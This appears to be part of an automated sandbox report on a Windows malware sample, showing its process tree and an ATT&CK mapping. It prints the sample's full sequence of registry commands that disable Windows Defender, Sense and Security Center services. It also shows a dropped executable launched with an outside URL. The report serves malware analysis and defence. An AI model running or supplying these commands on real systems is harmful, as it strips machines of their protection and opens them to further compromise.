    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
    3⤵
    PID:2976
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1756
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4724
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    - System Location Discovery: System Language Discovery
    PID:3504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:628
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3724
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3100
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:3948
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3584
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4108
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4916
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4244
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4156
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4436
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3524
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:1748
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4648
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2964
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:732
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1196
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:784
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:2976
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3344
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2996
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4876
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:60
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:1396
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:868
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4020
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:4476
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:4268
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:644
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4304
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:2396
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:3692
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2444
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2328
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:4484
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:1860
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:3680
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1084
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4504
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:1368
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:4196
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4944
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:1568
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:1852
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:4696
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:404
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:452
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2868
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2028
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3868
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4156
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2716
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:4064
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3100
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:1632
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2248
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2088
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1732
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:1836
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2844
  - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:4108
    - - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3796
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:5068
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Get-MpPreference"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:2304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4456
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:2132
- C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe
  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" "http://www.imagerymacdermott.click" "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\5527"
  2⤵
  - Executes dropped EXE
  PID:4712
- C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\win_version_csharp.exe
  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\win_version_csharp.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2716
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\system32\explorer.exe
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  PID:2248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry